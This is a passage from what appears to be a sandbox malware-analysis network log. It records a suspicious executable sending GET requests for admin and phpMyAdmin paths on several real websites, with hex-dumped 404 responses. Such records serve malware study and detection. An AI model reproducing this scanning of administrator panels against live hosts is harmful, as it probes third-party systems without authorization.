68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: Apache/2.4.52 (Ubuntu)vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=ut
2023-11-26 05:59:33 UTC	7930	IN	Data Raw: 35 38 33 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 Data Ascii: 5836<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pa
2023-11-26 05:59:33 UTC	14658	IN	Data Raw: 52 65 73 65 61 72 63 68 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 65 64 75 63 61 74 69 6f 6e 61 6c 2d 73 6f 6c 75 74 69 6f 6e 73 2d 70 61 67 65 2f 6d 61 6b 65 72 73 70 61 63 65 2f 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 77 68 69 74 65 20 61 6c 69 67 6e 2d 63 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 62 74 6e 2d 74 65 78 74 22 3e 4d 61 6b 65 72 73 70 61 63 65 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 Data Ascii: Research Solutions</p></a><a href="/educational-solutions-page/makerspace/" class="btn white align-c"><p class="btn-text">Makerspace</p></a></div></div></div>
2023-11-26 05:59:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	57298	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	231	OUT	GET /administrator/index.php HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://ce-logic.com/administrator/
2023-11-26 05:59:33 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: Apache/2.4.52 (Ubuntu)vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=ut
2023-11-26 05:59:33 UTC	7930	IN	Data Raw: 35 38 33 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 Data Ascii: 5836<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pa
2023-11-26 05:59:33 UTC	14658	IN	Data Raw: 52 65 73 65 61 72 63 68 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 65 64 75 63 61 74 69 6f 6e 61 6c 2d 73 6f 6c 75 74 69 6f 6e 73 2d 70 61 67 65 2f 6d 61 6b 65 72 73 70 61 63 65 2f 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 77 68 69 74 65 20 61 6c 69 67 6e 2d 63 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 62 74 6e 2d 74 65 78 74 22 3e 4d 61 6b 65 72 73 70 61 63 65 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 Data Ascii: Research Solutions</p></a><a href="/educational-solutions-page/makerspace/" class="btn white align-c"><p class="btn-text">Makerspace</p></a></div></div></div>
2023-11-26 05:59:33 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	57304	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	178	OUT	GET /administrator/ HTTP/1.1 Host: www.avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	924	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 35 34 33 34 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 38 36 34 30 30 2c 20 70 75 62 6c 69 63 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 45 74 61 67 3a 20 57 2f 22 31 37 30 30 39 37 38 33 37 33 22 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 31 39 20 4e 6f 76 20 31 39 37 38 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 Data Ascii: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 55434Cache-Control: max-age=86400, publicContent-Language: enContent-Type: text/html; charset=UTF-8Etag: W/"1700978373"Expires: Sun, 19 Nov 1978 05:00:00 GMTLast-Modified: Sun, 26 Nov
2023-11-26 05:59:33 UTC	1378	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 Data Ascii: <!DOCTYPE html><html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema
2023-11-26 05:59:33 UTC	1378	IN	Data Raw: 20 30 2c 73 61 3a 76 6f 69 64 20 30 2c 71 75 65 75 65 54 69 6d 65 3a 76 6f 69 64 20 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 54 69 6d 65 3a 76 6f 69 64 20 30 2c 74 74 47 75 69 64 3a 76 6f 69 64 20 30 2c 75 73 65 72 3a 76 6f 69 64 20 30 2c 61 63 63 6f 75 6e 74 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 Data Ascii: 0,sa:void 0,queueTime:void 0,applicationTime:void 0,ttGuid:void 0,user:void 0,account:void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error(
2023-11-26 05:59:33 UTC	1378	IN	Data Raw: 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 6d 65 74 72 69 63 73 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 61 63 74 69 6f 6e 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 Data Ascii: onds:10,autoStart:!0},metrics:{enabled:!0,autoStart:!0},page_action:{enabled:!0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enab
2023-11-26 05:59:33 UTC	1378	IN	Data Raw: 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 3b 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e Data Ascii: equire an agent identifier!";function h(e){if(!e)throw new Error(p);if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}fun
2023-11-26 05:59:33 UTC	1378	IN	Data Raw: 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 45 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e Data Ascii: r("All runtime objects require an agent identifier!");if(!E[e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.
2023-11-26 05:59:33 UTC	1378	IN	Data Raw: 31 3a 28 29 3d 3e 75 7d 29 3b 63 6f 6e 73 74 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 21 21 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e Data Ascii: 1:()=>u});const r="undefined"!=typeof window&&!!window.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis in
2023-11-26 05:59:33 UTC	1378	IN	Data Raw: 6f 72 20 6f 63 63 75 72 65 64 20 77 68 69 6c 65 20 73 65 74 74 69 6e 67 20 53 68 61 72 65 64 43 6f 6e 74 65 78 74 22 2c 65 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b Data Ascii: or occured while setting SharedContext",e)}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){
2023-11-26 05:59:33 UTC	1378	IN	Data Raw: 20 6e 3d 72 5b 65 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b Data Ascii: n=r[e];if(!n)return;for(var i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);
2023-11-26 05:59:33 UTC	1378	IN	Data Raw: 3d 7b 67 65 74 20 70 61 73 73 69 76 65 28 29 7b 72 65 74 75 72 6e 20 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 Data Ascii: ={get passive(){return i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	57320	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	472	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:33 UTC	15912	IN	Data Raw: 37 39 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 7970<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:33 UTC	15189	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 42 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/"> B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	57025	141.193.213.11	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	182	OUT	GET /concord/phpMyAdmin/ HTTP/1.1 Host: kidsrkids.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
